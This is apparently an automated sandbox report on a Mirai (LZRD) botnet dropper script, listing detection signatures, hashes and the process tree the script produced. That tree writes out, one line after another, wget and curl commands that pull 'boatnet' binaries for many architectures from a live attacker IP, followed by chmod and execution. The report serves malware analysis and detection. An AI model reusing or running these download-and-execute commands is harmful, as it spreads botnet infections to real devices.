Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 04:10

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    25c6ba0856c61dd5b61a23fb72afbd85

  • SHA1

    02bd8205bff824d323b72ccc0342c46a410f3d74

  • SHA256

    5b35f387f69bcb231b7e339c9ddeb610fd73ebf848f8cefdcfb26a2faabc5c6f

  • SHA512

    f1979d3997551d5cdc3a0aead3792509f2f5cb275ab303bfbb2d3d1e415dd6f882be425e352a73dd8ea27298a09001b7a14c323c3e854298736e76c1449ae8aa

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:637
    • /usr/bin/wget
      wget http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:639
    • /usr/bin/curl
      curl -O http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:654
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:663
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
        2⤵
        • File and Directory Permissions Modification
        PID:664
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:665
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:668
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:673
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:674
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
        2⤵
        • File and Directory Permissions Modification
        PID:675
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:676
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:678
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:681
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:689
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:692
        • /usr/bin/wget
          wget http://77.221.151.63/hiddenbin/boatnet.i468
          2⤵
            PID:695
          • /usr/bin/curl
            curl -O http://77.221.151.63/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:700
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:705
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
              2⤵
              • File and Directory Permissions Modification
              PID:707
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:708
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.i686
              2⤵
                PID:709
              • /usr/bin/curl
                curl -O http://77.221.151.63/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:714
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:720
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:721
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:725
                • /usr/bin/wget
                  wget http://77.221.151.63/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:726
                  • /usr/bin/curl
                    curl -O http://77.221.151.63/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:733
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:739
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:740
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:742
                    • /usr/bin/wget
                      wget http://77.221.151.63/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:743
                    • /usr/bin/curl
                      curl -O http://77.221.151.63/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:775
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:776
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:777
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:778
                      • /usr/bin/wget
                        wget http://77.221.151.63/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:780
                      • /usr/bin/curl
                        curl -O http://77.221.151.63/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:781
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:782
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:783
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:784
                        • /usr/bin/wget
                          wget http://77.221.151.63/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:788
                        • /usr/bin/curl
                          curl -O http://77.221.151.63/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:789
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:790
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:791
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:792
                          • /usr/bin/wget
                            wget http://77.221.151.63/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:793
                          • /usr/bin/curl
                            curl -O http://77.221.151.63/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:794
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:795
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:796
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:797
                            • /usr/bin/wget
                              wget http://77.221.151.63/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:798
                            • /usr/bin/curl
                              curl -O http://77.221.151.63/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:799
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:800
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:801
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:802
                              • /usr/bin/wget
                                wget http://77.221.151.63/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:806
                              • /usr/bin/curl
                                curl -O http://77.221.151.63/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:807
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:809
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:810
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:812
                                • /usr/bin/wget
                                  wget http://77.221.151.63/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:814
                                • /usr/bin/curl
                                  curl -O http://77.221.151.63/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:815
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:816
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:817
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:818
                                  • /usr/bin/wget
                                    wget http://77.221.151.63/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:820
                                  • /usr/bin/curl
                                    curl -O http://77.221.151.63/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:821
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:822
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:823
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:824
                                    • /usr/bin/wget
                                      wget http://77.221.151.63/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:826
                                    • /usr/bin/curl
                                      curl -O http://77.221.151.63/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:827
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:828
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-93d7b374fc444b3f93647d37762560da-systemd-timedated.service-81EbRp WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:829
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:830

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      e3206d28c93769f5acb5e1e1d5b5f219

                                      SHA1

                                      198b56e1df06819e1141c1d6e8f7ad7d1646194c

                                      SHA256

                                      cdf3f41e3ad38f3081c882ac25d15d03b9e85b7b7021cbd32a6c504acd353aab

                                      SHA512

                                      dad4a759472131bed86139904962c9ce218dbba129e866fabfb524392e2ef8e77f30087d80305eef0452b5f5e685a5d5103e2ee6518b6b9c103fb55b8cfd3503

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      d94c95baa8be09e30fcdc154241477c8

                                      SHA1

                                      d0b682898bd94b01afb6ad2f4fb813197f6a0985

                                      SHA256

                                      2bcc0d44bafdbdecf7e537c3cf0357ab7f6fa5e7a2820e950e4f33a2ae08c6c6

                                      SHA512

                                      7cebf14f7ecfe09c18b161607284a58c771a305b36a4f069493ce813b1cee9bea639412e3fb7d1e492ce889b553ae2512c709b9a3dd2ca86f08b84a07c59e1b9

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      fb08806a49f2c5aa8f8ea71c0ca40395

                                      SHA1

                                      411ae81e99b9c3ec9d27514a7c18cb5c63189b22

                                      SHA256

                                      2f7082951d3b09a10a5308258951b0d2efe7b1717e543e9d51e53e482d00479c

                                      SHA512

                                      60c4b894a8b169553d63dc8ec09d51ab447dc8644fd382265580368e09bcd6681525c1ebba1a5b44531015b060a7f9ab831d6319e92366243f94e4e2225c74b3

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      895badd48eed0c0e0ba14e8d5967e7bb

                                      SHA1

                                      3c4c22665e6197841f7e68f941a4a27dca3d4d8d

                                      SHA256

                                      e2a04bd1fb1e7ed211e3ee19b08337b6361d695278417d5a21ba602ca7eb99b4

                                      SHA512

                                      dfc79a34d1694b7e4422fa4861bf475b3efe2398df684126e71293880f51f4bf39f396fb5c5e36a2c12944c7406e86cac09c3d3b8c432194aab976c8b7e94af7

                                    • memory/784-1-0x00008000-0x0001dca4-memory.dmp

                                    • memory/792-2-0x00008000-0x0001b6e4-memory.dmp

                                    • memory/797-3-0x00008000-0x000228c4-memory.dmp

                                    • memory/802-4-0x00008000-0x00026464-memory.dmp